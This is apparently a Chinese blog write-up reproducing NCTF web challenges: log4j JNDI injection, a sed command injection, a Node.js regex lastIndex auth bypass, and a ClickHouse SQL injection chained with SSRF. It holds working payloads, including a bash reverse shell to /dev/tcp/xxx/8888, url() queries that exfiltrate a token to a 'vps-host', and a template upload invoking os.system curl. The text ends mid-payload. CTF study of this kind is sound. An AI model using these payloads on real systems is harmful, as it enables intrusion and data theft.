CTF 复现 NCTF 复现 Natro92 2024-03-07 2024-03-12 链接:https://pan.baidu.com/s/1UTOxWRtF986reDCFLrq6Dg?pwd=2cn4 提取码:2cn4
官方提供了赛题docker环境。搭起来我都费劲…太菜了我
dockerfile使用 https://blog.csdn.net/dongdong9223/article/details/83059265
我连给我个dockerfile 我都不会搭建。使用方法如下:
logging 起完是这个页面。 考点是log4j
,但是只知道并没有利用过。 要寻找JNDI注入点,在Headers中,当修改Accept请求头时出现406响应。
Accept 头, 如果 mine type 类型不对控制台会调用 logger 输出日志,还有 Host 头, 但是只能用一次, 第二次往后就不能再打印日志了 HTTP 406状态码是指”不可接受”(Not Acceptable)。服务器收到的请求中包含了一个或多个要求资源的表示形式,但服务器无法生成与请求中所述的任何形式相匹配的响应。这意味着服务器无法提供与请求的Accept标头中指定的格式相匹配的响应。
这里存在JNDI注入且出网。 然后起一个ldap服务即可。
https://github.com/WhiteHSBG/JNDIExploit
之前也没用过,给服务器上个Java1.8 然后运行这个快速搭建LDAP: 这个的1.4版本需要依赖,1.3不需要直接就可以打
1 java -jar JNDIExploit-1.3 -SNAPSHOT.jar -i 0.0 .0 .0 -p 8889
然后监听8888
Webshell Generator 点击生成之后发现有一个302包然后提供跳转位置。 可以修改地址来任意文件读取: 但是不让读取/flag``/proc/1/envrion
这种,只能去读取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php function security_validate ( ) { foreach ($_POST as $key => $value ) { if (preg_match ('/\r|\n/' , $value )) { die ("$key 不能包含换行符!" ); } if (strlen ($value ) > 114 ) { die ("$key 不能超过114个字符!" ); } } } security_validate ();if (@$_POST ['method' ] && @$_POST ['key' ] && @$_POST ['filename' ]) { if ($_POST ['language' ] !== 'PHP' ) { die ("PHP是最好的语言" ); } $method = $_POST ['method' ]; $key = $_POST ['key' ]; putenv ("METHOD=$method " ) or die ("你的method太复杂了!" ); putenv ("KEY=$key " ) or die ("你的key太复杂了!" ); $status_code = -1 ; $filename = shell_exec ("sh generate.sh" ); if (!$filename ) { die ("生成失败了!" ); } $filename = trim ($filename ); header ("Location: download.php?file=$filename &filename={$_POST['filename']} " ); exit (); } ?>
禁止换行限制114字符,将method
和key
放入环境变量中。然后执行generate.sh
1 2 3 4 5 6 7 8 9 10 11 12 set -e NEW_FILENAME=$(tr -dc a-z0-9 </dev/urandom | head -c 16 ) cp template.php "/tmp/$NEW_FILENAME " cd /tmp sed -i "s/KEY/$KEY /g" "$NEW_FILENAME " sed -i "s/METHOD/$METHOD /g" "$NEW_FILENAME " realpath "$NEW_FILENAME "
看的我一脸懵,bash脚本会的不多吗,我们看看gpt说了什么:
set -e
这个命令告诉shell如果任何语句的执行结果不是true则应该退出。这意味着如果有任何命令失败了,整个脚本会终止运行。sed -i "s/KEY/$KEY/g" "$NEW_FILENAME"
这个命令使用sed
(流编辑器)来替换在新文件中所有出现的KEY
文本为环境变量$KEY
的值。sed -i "s/METHOD/$METHOD/g" "$NEW_FILENAME"
这个命令类似上一条,但是它是替换所有的METHOD
文本为环境变量$METHOD
的值。realpath "$NEW_FILENAME"
这个命令打印出新文件的绝对路径。也就是对sed命令的考察。 sed -e 可以运行脚本到程序:
1 2 3 123/g;e bash -c "bash -i >& /dev/tcp/xxx/8888 0>&1" ; sed -i "s/METHOD/123/g;e bash -c " bash -i >& /dev/tcp/xxxx/8888 0>&1";/g" "$NEW_FILENAME "
payload:
1 key=123&language=PHP&method=%2Fg%3Be%20bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx%2F8888%200%3E%261%22%3b&filename=webshell.php
Wait What 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 const express = require ('express' );const child_process = require ('child_process' )const app = express ()app.use (express.json ()) const port = 80 function escapeRegExp (string ) { return string.replace (/[.*+?^${}()|[\]\\]/g , '\\$&' ); } let users = { "admin" : "admin" , "user" : "user" , "guest" : "guest" , 'hacker' :'hacker' } let banned_users = ['hacker' ]banned_users.push ("admin" ) let banned_users_regex = null ;function build_banned_users_regex ( ) { let regex_string = "" for (let username of banned_users) { regex_string += "^" + escapeRegExp (username) + "$" + "|" } regex_string = regex_string.substring (0 , regex_string.length - 1 ) banned_users_regex = new RegExp (regex_string, "g" ) } function requireLogin (req, res, next ) { let username = req.body .username let password = req.body .password if (!username || !password) { res.send ("用户名或密码不能为空" ) return } if (typeof username !== "string" || typeof password !== "string" ) { res.send ("用户名或密码不合法" ) return } let test1 = banned_users_regex.test (username) console .log (`使用正则${banned_users_regex} 匹配${username} 的结果为:${test1} ` ) if (test1) { console .log ("第一个判断匹配到封禁用户:" ,username) res.send ("用户'" +username + "'被封禁,无法鉴权!" ) return } let test2 = (username in banned_users) console .log (`使用in关键字匹配${username} 的结果为:${test2} ` ) if (test2){ console .log ("第二个判断匹配到封禁用户:" ,username) res.send ("用户'" +username + "'被封禁,无法鉴权!" ) return } if (username in users && users[username] === password) { next () return } res.send ("用户名或密码错误,鉴权失败!" ) } function registerUser (username, password ) { if (typeof username !== "string" || username.length > 20 ) { return "用户名不合法" } if (typeof password !== "string" || password.length > 20 ) { return "密码不合法" } if (username in users) { return "用户已存在" } for (let existing_user in users){ let existing_user_password = users[existing_user] if (existing_user_password === password){ return `您的密码已经被用户'${existing_user} '使用了,请使用其它的密码` } } users[username] = password return "注册成功" } app.use (express.static ('public' )) app.use (function (req, res, next ) { try { build_banned_users_regex () console .log ("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):" ,banned_users_regex) } catch (e) { } next () }) app.post ("/api/register" , (req, res ) => { let username = req.body .username let password = req.body .password let message = registerUser (username, password) res.send (message) }) app.post ("/api/login" , requireLogin, (req, res ) => { res.send ("登录成功!" ) }) app.post ("/api/flag" , requireLogin, (req, res ) => { let username = req.body .username if (username !== "admin" ) { res.send ("登录成功,但是只有'admin'用户可以看到flag,你的用户名是'" + username + "'" ) return } let flag = child_process.execSync ("cat flag" ).toString () res.end (flag) console .error ("有人获取到了flag!为了保证题目的正常运行,将会重置靶机环境!" ) res.on ("finish" , () => { setTimeout (() => { process.exit (0 ) }, 1 ) }) return }) app.post ('/api/ban_user' , requireLogin, (req, res ) => { let username = req.body .username let ban_username = req.body .ban_username if (!ban_username){ res.send ("ban_username不能为空" ) return } if (username === ban_username){ res.send ("不能封禁自己" ) return } for (let name of banned_users){ if (name === ban_username) { res.send ("用户已经被封禁" ) return } } banned_users.push (ban_username) res.send ("封禁成功!" ) }) app.get ("/" , (req, res ) => { res.redirect ("/static/index.html" ) }) app.listen (port, () => { console .log (`listening on port ${port} ` ) })
需要以admin的身份登录,每次鉴权都会banned_users.push("admin")
ban掉admin。
1 2 3 4 5 6 7 8 9 let banned_users_regex = null ;function build_banned_users_regex ( ) { let regex_string = "" for (let username of banned_users) { regex_string += "^" + escapeRegExp (username) + "$" + "|" } regex_string = regex_string.substring (0 , regex_string.length - 1 ) banned_users_regex = new RegExp (regex_string, "g" ) }
遍历被ban用户,然后全局匹配。 RegExp.lastIndex使用时,当它开启g属性的时候,lastIndex会起作用,它用于表示从哪一个位置开始进行匹配:
1、 当regexp.test匹配成功,lastIndex会被设置为最近匹配成功的下一个位置 2、 当regexp.test匹配失败,lastIndex被设置为0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 app.use (function (req, res, next ) { try { build_banned_users_regex () console .log ("封禁用户正则表达式(满足这个正则表达式的用户名为被封禁用户名):" ,banned_users_regex) } catch (e) { } next () }) let test1 = banned_users_regex.test (username) console .log (`使用正则${banned_users_regex} 匹配${username} 的结果为:${test1} ` ) if (test1) { console .log ("第一个判断匹配到封禁用户:" ,username) res.send ("用户'" +username + "'被封禁,无法鉴权!" ) return }
就可以用这种方式匹配到admin修改lastIndex为5然后没有新的匹配。 第二层一直是false。
1 2 3 4 5 6 7 8 9 10 11 12 13 let test2 = (username in banned_users) console .log (`使用in关键字匹配${username} 的结果为:${test2} ` ) if (test2){ console .log ("第二个判断匹配到封禁用户:" ,username) res.send ("用户'" +username + "'被封禁,无法鉴权!" ) return } if (username in users && users[username] === password) { next () return } res.send ("用户名或密码错误,鉴权失败!" )
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 import urllib.parseimport requestsfrom urllib.parse import *url='url' session=requests.Session() resp=session.post(urllib.parse.urljoin(url,"/api/register" ),json={"username" :"aiwin" ,"password" :"test" }) resp=session.post(urllib.parse.urljoin(url,"/api/ban_user" ),json={"username" :"aiwin" ,"password" :"test" ,"ban_username" :{"1" :"error" }}) resp=session.post(urllib.parse.urljoin(url,"/api/flag" ),json={"username" :"admin" ,"password" :"admin" }) resp=session.post(urllib.parse.urljoin(url,"/api/flag" ),json={"username" :"admin" ,"password" :"admin" }) print (resp.text)
感想 逆天 nodejs一读一个晕。
house of click 起环境
端口开在8013 进入页面之后只有nginx的页面。 给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import clickhouse_connectimport ipaddressimport webimport oswith open ('.token' , 'r' ) as f: TOKEN = f.read() urls = ( '/' , 'Index' , '/query' , 'Query' , '/api/ping' , 'Ping' , '/api/token' , 'Token' , '/api/upload' , 'Upload' , ) render = web.template.render('templates/' ) def check_ip (ip, ip_range ): return ipaddress.ip_address(ip) in ipaddress.ip_network(ip_range) class Index : def GET (self ): return render.index() def POST (self ): data = web.input (name='index' ) return render.__getattr__(data.name)() class Query : def POST (self ): data = web.input (id ='1' ) client = clickhouse_connect.get_client(host='db' , port=8123 , username='default' , password='default' ) sql = 'SELECT * FROM web.users WHERE id = ' + data.id client.command(sql) client.close() return 'ok' class Ping : def GET (self ): return 'pong' class Token : def GET (self ): ip = web.ctx.env.get('REMOTE_ADDR' ) if not check_ip(ip, '172.28.0.0/16' ): return 'forbidden' return TOKEN class Upload : def POST (self ): ip = web.ctx.env.get('REMOTE_ADDR' ) token = web.ctx.env.get('HTTP_X_ACCESS_TOKEN' ) if not check_ip(ip, '172.28.0.0/16' ): return 'forbidden' if token != TOKEN: return 'unauthorized' files = web.input (myfile={}) if 'myfile' in files: filepath = os.path.join('upload/' , files.myfile.filename) if (os.path.isfile(filepath)): return 'error' with open (filepath, 'wb' ) as f: f.write(files.myfile.file.read()) return 'ok' app = web.application(urls, globals ()) application = app.wsgifunc(web.httpserver.StaticMiddleware)
我们能注意到直接访问路由是访问不通的。 阅读代码我们可以发现,如果有token的话且ip为172.28.0.0/16
是可以上传文件的。而且由于用了os.path.join('upload/', files.myfile.filename)
是可以文件上传穿越。 Query的SQL查询看起来也应该有注入。 Index下的render.getattr (data.name)()中,通过__getattr__直接获取render其它属性。 先尝试访问Query路由。用nginx+gunicorn
路径绕过。
Nginx和Gunicorn的关系: 因此我们可以构造访问: 中间那里打不出tab可以先打出%09在解码。
1 POST /query<TAB>HTTP/1.1 /../../api/ping HTTP/1.1
https://clickhouse.com/docs/zh/sql-reference/table-functions/url#globs-in-url
使用这个函数进行SSRF: 这肯定先想到堆叠注入;
但是别的WP只说了不能用但是不知道为什么。ClickHouse作为DBMS, 默认情况下,它不支持在同一查询中执行多个语句。这意味着即使攻击者试图在POST请求中的id参数中注入类似’; DROP TABLE web.users;–的SQL语句,由于ClickHouse无法执行堆叠查询,这样的注入尝试将不会导致第二条语句DROP TABLE的执行。正因为ClickHouse的这一特性,所以在利用这段代码操作ClickHouse时无法进行堆叠注入。
https://clickhouse.com/docs/zh/interfaces/http
通过这个可以实现GET请求insert语句。 先ssrf自身的HTTP interface然后再去ssrf到backend
1 id =1 AND (SELECT * FROM url('http://default:default@db:8123/?query=<SQL>' , 'TabSeparatedRaw' , 'x String' ))
TabSeparatedRaw
表示返回的数据采用制表符分隔的原始数据格式x String
表示外部查询返回的数据类型为字符串。 我们测试一下:
1 id =1 and (SELECT * FROM url('http://vps-host:8888/' , 'TabSeparatedRaw' , 'x String' ))
可以在vps接收到信息。 因此我们可以外带得到一些信息。
获取token 可以通过外带来获取到token:
1 id =1 AND (SELECT * FROM url('http://vps-host:6666/?a=' ||hex ((select * FROM url('http://backend:8001/api/token' , 'TabSeparatedRaw' , 'x String' ))), 'TabSeparatedRaw' , 'x String' ));
这里不知道为什么我一直打不通😡,一直报错500
上传文件 1 id =1 and (select * from url('http://192.168.124.9:8123/?query=insert into function url(' http://backend:8001 /api/upload',' TabSeparatedRaw', ' a String',headers(' Content-Type '=' multipart/form-data; boundary=----test',' X-Access-Token'=' 38ad6332afaa1e3fc75f6a6b60cdd909')) Values(' ------test\r\nContent-Disposition: form-data; name="myfile" ; filename="../templates/exp.html" \r\nContent-Type : text/plain\r\n\r\n$code:\r\n __import__ (\'os\').system(\'curl http://xxx
然后到index reder test.html进行RCE
感想 都是怪物吗,这doc看的我迷糊。